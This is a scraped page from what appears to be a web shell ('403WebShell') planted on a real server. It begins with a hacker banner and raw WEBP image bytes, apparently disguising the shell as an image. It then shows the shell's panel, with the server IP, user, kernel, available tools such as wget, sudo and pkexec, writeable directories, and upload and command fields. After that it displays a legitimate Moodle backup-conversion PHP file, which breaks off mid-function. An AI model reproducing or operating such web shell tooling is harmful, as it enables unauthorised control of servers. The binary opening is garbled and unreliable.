....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 41.207.40.59  /  Your IP : 216.73.216.58
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux srv-prod 5.15.0-157-generic #167-Ubuntu SMP Wed Sep 17 21:35:53 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/formation/backup/cc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/formation/backup/cc/cc2moodle.php
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
/**
 * @package   moodlecore
 * @subpackage backup-imscc
 * @copyright 2009 Mauro Rondinelli (mauro.rondinelli [AT] uvcms.com)
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

defined('MOODLE_INTERNAL') or die('Direct access to this script is forbidden.');

require_once($CFG->dirroot . '/backup/cc/entities.class.php');
require_once($CFG->dirroot . '/backup/cc/entity.label.class.php');
require_once($CFG->dirroot . '/backup/cc/entity.resource.class.php');
require_once($CFG->dirroot . '/backup/cc/entity.forum.class.php');
require_once($CFG->dirroot . '/backup/cc/entity.quiz.class.php');

class cc2moodle {

    const CC_TYPE_FORUM              = 'imsdt_xmlv1p0';
    const CC_TYPE_QUIZ               = 'imsqti_xmlv1p2/imscc_xmlv1p0/assessment';
    const CC_TYPE_QUESTION_BANK      = 'imsqti_xmlv1p2/imscc_xmlv1p0/question-bank';
    const CC_TYPE_WEBLINK            = 'imswl_xmlv1p0';
    const CC_TYPE_WEBCONTENT         = 'webcontent';
    const CC_TYPE_ASSOCIATED_CONTENT = 'associatedcontent/imscc_xmlv1p0/learning-application-resource';
    const CC_TYPE_EMPTY              = '';

    public static $restypes = array('associatedcontent/imscc_xmlv1p0/learning-application-resource', 'webcontent');
    public static $forumns  = array('dt' => 'http://www.imsglobal.org/xsd/imsdt_v1p0');
    public static $quizns   = array('xmlns' => 'http://www.imsglobal.org/xsd/ims_qtiasiv1p2');
    public static $resourcens = array('wl' => 'http://www.imsglobal.org/xsd/imswl_v1p0');
    /**
     *
     * @return array
     */
    public static function getquizns() {
        return static::$quizns;
    }

    /**
     *
     * @return array
     */
    public static function getforumns() {
        return static::$forumns;
    }

    /**
     *
     * @return array
     */
    public static function getresourcens() {
        return static::$resourcens;
    }

    public static function get_manifest($folder) {
        if (!is_dir($folder)) {
            return false;
        }

        // Before iterate over directories, try to find one manifest at top level
        if (file_exists($folder . '/imsmanifest.xml')) {
            return $folder . '/imsmanifest.xml';
        }

        $result = false;
        try {
            $dirIter = new RecursiveDirectoryIterator($folder, RecursiveDirectoryIterator::KEY_AS_PATHNAME);
            $recIter = new RecursiveIteratorIterator($dirIter, RecursiveIteratorIterator::CHILD_FIRST);
            foreach ($recIter as $info) {
                if ($info->isFile() && ($info->getFilename() == 'imsmanifest.xml')) {
                    $result = $info->getPathname();
                    break;
                }
            }
        } catch (Exception $e) {}

        return $result;
    }

    public static $instances = array();
    public static $manifest;
    public static $path_to_manifest_folder;

    public static $namespaces = array('imscc'    => 'http://www.imsglobal.org/xsd/imscc/imscp_v1p1',
                                      'lomimscc' => 'http://ltsc.ieee.org/xsd/imscc/LOM',
                                      'lom'      => 'http://ltsc.ieee.org/xsd/LOM',
                                      'voc'      => 'http://ltsc.ieee.org/xsd/LOM/vocab',
                                      'xsi'      => 'http://www.w3.org/2001/XMLSchema-instance',
                                      'cc'       => 'http://www.imsglobal.org/xsd/imsccauth_v1p0');

    function __construct($path_to_manifest) {

        static::$manifest = new DOMDocument();
        static::$manifest->validateOnParse = false;

        static::$path_to_manifest_folder = dirname($path_to_manifest);

        static::log_action('Proccess start');
        static::log_action('Load the manifest file: ' . $path_to_manifest);

        if (!static::$manifest->load($path_to_manifest, LIBXML_NONET)) {
            static::log_action('Cannot load the manifest file: ' . $path_to_manifest, true);
        }
    }

    public function is_auth() {

        $xpath = static::newx_path(static::$manifest, static::$namespaces);

        $count_auth = $xpath->evaluate('count(/imscc:manifest/cc:authorizations)');

        if ($count_auth > 0) {
            $response = true;
        } else {
            $response = false;
        }

        return $response;
    }

    protected function get_metadata($section, $key) {

        $xpath = static::newx_path(static::$manifest, static::$namespaces);

        $metadata = $xpath->query('/imscc:manifest/imscc:metadata/lomimscc:lom/lomimscc:' . $section . '/lomimscc:' . $key . '/lomimscc:string');
        $value = !empty($metadata->item(0)->nodeValue) ? $metadata->item(0)->nodeValue : '';

        return $value;
    }

    public function generate_moodle_xml() {

        global $CFG, $OUTPUT;

        $cdir = static::$path_to_manifest_folder . DIRECTORY_SEPARATOR . 'course_files';

        if (!file_exists($cdir)) {
            mkdir($cdir, $CFG->directorypermissions, true);
        }

        $sheet_base = static::loadsheet(SHEET_BASE);

        // MOODLE_BACKUP / INFO / DETAILS / MOD
        $node_info_details_mod = $this->create_code_info_details_mod();

        // MOODLE_BACKUP / BLOCKS / BLOCK
        $node_course_blocks_block = $this->create_node_course_blocks_block();

        // MOODLE_BACKUP / COURSES / SECTIONS / SECTION
        $node_course_sections_section = $this->create_node_course_sections_section();

        // MOODLE_BACKUP / COURSES / QUESTION_CATEGORIES
        $node_course_question_categories = $this->create_node_question_categories();

        // MOODLE_BACKUP / COURSES / MODULES / MOD
        $node_course_modules_mod = $this->create_node_course_modules_mod();

        // MOODLE_BACKUP / COURSE / HEADER
        $node_course_header = $this->create_node_course_header();

        // GENERAL INFO
        $filename = optional_param('file', 'not_available.zip', PARAM_RAW);
        $filename = basename($filename);

        $www_root = $CFG->wwwroot;

        $find_tags = array('[#zip_filename#]',
                           '[#www_root#]',
                           '[#node_course_header#]',
                           '[#node_info_details_mod#]',
                           '[#node_course_blocks_block#]',
                           '[#node_course_sections_section#]',
                           '[#node_course_question_categories#]',
                           '[#node_course_modules#]');

        $replace_values = array($filename,
                                $www_root,
                                $node_course_header,
                                $node_info_details_mod,
                                $node_course_blocks_block,
                                $node_course_sections_section,
                                $node_course_question_categories,
                                $node_course_modules_mod);

        $result_xml = str_replace($find_tags, $replace_values, $sheet_base);

        // COPY RESOURSE FILES
        $entities = new entities();

        $entities->move_all_files();

        if (array_key_exists("index", self::$instances)) {

            if (!file_put_contents(static::$path_to_manifest_folder . DIRECTORY_SEPARATOR . 'moodle.xml', $result_xml)) {
                static::log_action('Cannot save the moodle manifest file: ' . static::$path_to_manifest_folder . DIRECTORY_SEPARATOR . 'moodle.xml', true);
            } else {
                $status = true;
            }

        } else {
            $status = false;
            echo $OUTPUT->notification('The course is empty');
            static::log_action('The course is empty', false);
        }

        return $status;

    }

    protected function get_sections_numbers($instances) {

        $count = 0;

        if (array_key_exists("index", $instances)) {
            foreach ($instances["index"] as $instance) {
                if ($instance["deep"] == ROOT_DEEP) {
                    $count++;
                }
            }
        }

        return $count;
    }

    protected function create_node_course_header() {

        $node_course_header = '';
        $sheet_course_header = static::loadsheet(SHEET_COURSE_HEADER);

        $course_title = trim($this->get_metadata('general', 'title'));
        $course_title = empty($course_title) ? 'Untitled Course' : $course_title;
        $course_description = $this->get_metadata('general', 'description');
        $section_count = $this->get_sections_numbers(static::$instances) - 1;

        if ($section_count == -1) {
            $section_count = 0;
        }

        if (empty($course_title)) {
            $this->log_action('The course title not found', true);
        }

        $course_short_name = $this->create_course_code($course_title);

        $find_tags = array('[#course_name#]',
                           '[#course_short_name#]',
                           '[#course_description#]',
                           '[#date_now#]',
                           '[#section_count#]');

        $replace_values = array(entities::safexml($course_title),
                                entities::safexml($course_short_name),
                                entities::safexml($course_description),
                                time(),
                                $section_count);

        $node_course_header = str_replace($find_tags, $replace_values, $sheet_course_header);

        return $node_course_header;
    }

    protected function create_node_question_categories() {

        $quiz = new cc_quiz();

        static::log_action('Creating node: QUESTION_CATEGORIES');

        $node_course_question_categories = $quiz->generate_node_question_categories();

        return $node_course_question_categories;
    }

    protected function create_node_course_modules_mod() {

        $labels = new cc_label();
        $resources = new cc_resource();
        $forums = new cc_forum();
        $quiz = new cc_quiz();

        static::log_action('Creating node: COURSE/MODULES/MOD');

        // LABELS
        $node_course_modules_mod_label = $labels->generate_node();

        // RESOURCES (WEB CONTENT AND WEB LINK)
        $node_course_modules_mod_resource = $resources->generate_node();

        // FORUMS
        $node_course_modules_mod_forum = $forums->generate_node();

        // QUIZ
        $node_course_modules_mod_quiz = $quiz->generate_node_course_modules_mod();
        //TODO: label
        $node_course_modules = $node_course_modules_mod_label . $node_course_modules_mod_resource . $node_course_modules_mod_forum . $node_course_modules_mod_quiz;

        return $node_course_modules;
    }


    protected function create_node_course_sections_section() {

        static::log_action('Creating node: COURSE/SECTIONS/SECTION');

        $node_course_sections_section = '';
        $sheet_course_sections_section = static::loadsheet(SHEET_COURSE_SECTIONS_SECTION);

        $topics = $this->get_nodes_by_criteria('deep', ROOT_DEEP);

        $i = 0;

        if (!empty($topics)) {

            foreach ($topics as $topic) {

                $i++;
                $node_node_course_sections_section_mods_mod = $this->create_node_course_sections_section_mods_mod($topic['index']);

                if ($topic['moodle_type'] == MOODLE_TYPE_LABEL) {

                    $find_tags = array('[#section_id#]',
                                       '[#section_number#]',
                                       '[#section_summary#]',
                                       '[#node_course_sections_section_mods_mod#]');

                    $replace_values = array($i,
                                            $i - 1,
                                            entities::safexml($topic['title']),
                                            $node_node_course_sections_section_mods_mod);

                } else {

                    $find_tags = array('[#section_id#]',
                                       '[#section_number#]',
                                       '[#section_summary#]',
                                       '[#node_course_sections_section_mods_mod#]');

                    $replace_values = array($i,
                                            $i - 1,
                                            '',
                                            $node_node_course_sections_section_mods_mod);

                }

                $node_course_sections_section .= str_replace($find_tags, $replace_values, $sheet_course_sections_section);
            }
        }


        return $node_course_sections_section;
    }

    protected function create_node_course_blocks_block() {

        global $CFG;

        static::log_action('Creating node: COURSE/BLOCKS/BLOCK');

        $sheet_course_blocks_block = static::loadsheet(SHEET_COURSE_BLOCKS_BLOCK);
        $node_course_blocks_block = '';

        $format_config = $CFG->dirroot . '/course/format/weeks/config.php';

        if (@is_file($format_config) && is_readable($format_config)) {
            require ($format_config);
        }

        if (!empty($format['defaultblocks'])) {
            $blocknames = $format['defaultblocks'];
        } else {
            if (isset($CFG->defaultblocks)) {
                $blocknames = $CFG->defaultblocks;
            } else {
                $blocknames = 'activity_modules,search_forums,course_list:news_items,calendar_upcoming,recent_activity';
            }
        }

        $blocknames = explode(':', $blocknames);
        $blocks_left = explode(',', $blocknames[0]);
        $blocks_right = explode(',', $blocknames[1]);

        $find_tags = array('[#block_id#]',
                           '[#block_name#]',
                           '[#block_position#]',
                           '[#block_weight#]');

        $i = 0;
        $weight = 0;

        foreach ($blocks_left as $block) {
            $i++;
            $weight++;

            $replace_values = array($i,
                                    $block,
                                    'l',
                                    $weight);

            $node_course_blocks_block .= str_replace($find_tags, $replace_values, $sheet_course_blocks_block);
        }

        $weight = 0;

        foreach ($blocks_right as $block) {

            $i++;
            $weight ++;

            $replace_values = array($i,
                                    $block,
                                    'r',
                                    $weight);

            $node_course_blocks_block .= str_replace($find_tags, $replace_values, $sheet_course_blocks_block);
        }

        return $node_course_blocks_block;

    }

    /**
    *
    * Is activity visible or not
    * @param string $identifier
    * @return number
    */
    protected function get_module_visible($identifier) {
        //Should item be hidden or not
        $mod_visible = 1;
        if (!empty($identifier)) {
            $xpath = static::newx_path(static::$manifest, static::$namespaces);
            $query  = '/imscc:manifest/imscc:resources/imscc:resource[@identifier="' . $identifier . '"]';
            $query .= '//lom:intendedEndUserRole/voc:vocabulary/lom:value';
            $intendeduserrole = $xpath->query($query);
            if (!empty($intendeduserrole) && ($intendeduserrole->length > 0)) {
                $role = trim($intendeduserrole->item(0)->nodeValue);
                if (strcasecmp('Instructor', $role) == 0) {
                    $mod_visible = 0;
                }
            }
        }
        return $mod_visible;
    }

    protected function create_node_course_sections_section_mods_mod($root_parent) {

        $sheet_course_sections_section_mods_mod = static::loadsheet(SHEET_COURSE_SECTIONS_SECTION_MODS_MOD);
        $childs = $this->get_nodes_by_criteria('root_parent', $root_parent);

        if ($childs) {

            $node_course_sections_section_mods_mod = '';

            foreach ($childs as $child) {

                if ($child['moodle_type'] == MOODLE_TYPE_LABEL) {
                    if ($child['index'] == $child['root_parent']) {
                        $is_summary = true;
                    } else {
                        $is_summary = false;
                    }
                } else {
                    $is_summary = false;
                }

                if (!$is_summary) {

                    $indent = $child['deep'] - ROOT_DEEP;

                    if ($indent > 0) {
                        $indent = $indent - 1;
                    }

                    $find_tags = array('[#mod_id#]',
                                       '[#mod_instance_id#]',
                                       '[#mod_type#]',
                                       '[#date_now#]',
                                       '[#mod_indent#]',
                                       '[#mod_visible#]');

                    $replace_values = array($child['index'],
                                            $child['instance'],
                                            $child['moodle_type'],
                                            time(),
                                            $indent,
                                            $this->get_module_visible($child['resource_indentifier']));

                    $node_course_sections_section_mods_mod .= str_replace($find_tags, $replace_values, $sheet_course_sections_section_mods_mod);
                }
            }

            $response = $node_course_sections_section_mods_mod;

        } else {
            $response = '';
        }

        return $response;

    }

    public function get_nodes_by_criteria($key, $value) {

        $response = array();

        if (array_key_exists('index', static::$instances)) {
            foreach (static::$instances['index'] as $item) {
                if ($item[$key] == $value) {
                    $response[] = $item;
                }
            }
        }

        return $response;
    }

    //Modified here
    protected function create_code_info_details_mod() {

        static::log_action('Creating node: INFO/DETAILS/MOD');

        $xpath = static::newx_path(static::$manifest, static::$namespaces);

        $items = $xpath->query('/imscc:manifest/imscc:organizations/imscc:organization/imscc:item | /imscc:manifest/imscc:resources/imscc:resource[@type="' . static::CC_TYPE_QUESTION_BANK . '"]');

        $this->create_instances($items);

        $count_quiz = $this->count_instances(MOODLE_TYPE_QUIZ);
        $count_forum = $this->count_instances(MOODLE_TYPE_FORUM);
        $count_resource = $this->count_instances(MOODLE_TYPE_RESOURCE);
        $count_label = $this->count_instances(MOODLE_TYPE_LABEL);

        $sheet_info_details_mod_instances_instance = static::loadsheet(SHEET_INFO_DETAILS_MOD_INSTANCE);

        if ($count_resource > 0) {
            $resource_instance = $this->create_mod_info_details_mod_instances_instance($sheet_info_details_mod_instances_instance, $count_resource, static::$instances['instances'][MOODLE_TYPE_RESOURCE]);
        }
        if ($count_quiz > 0) {
            $quiz_instance = $this->create_mod_info_details_mod_instances_instance($sheet_info_details_mod_instances_instance, $count_quiz, static::$instances['instances'][MOODLE_TYPE_QUIZ]);
        }
        if ($count_forum > 0) {
            $forum_instance = $this->create_mod_info_details_mod_instances_instance($sheet_info_details_mod_instances_instance, $count_forum, static::$instances['instances'][MOODLE_TYPE_FORUM]);
        }
        if ($count_label > 0) {
            $label_instance = $this->create_mod_info_details_mod_instances_instance($sheet_info_details_mod_instances_instance, $count_label, static::$instances['instances'][MOODLE_TYPE_LABEL]);
        }

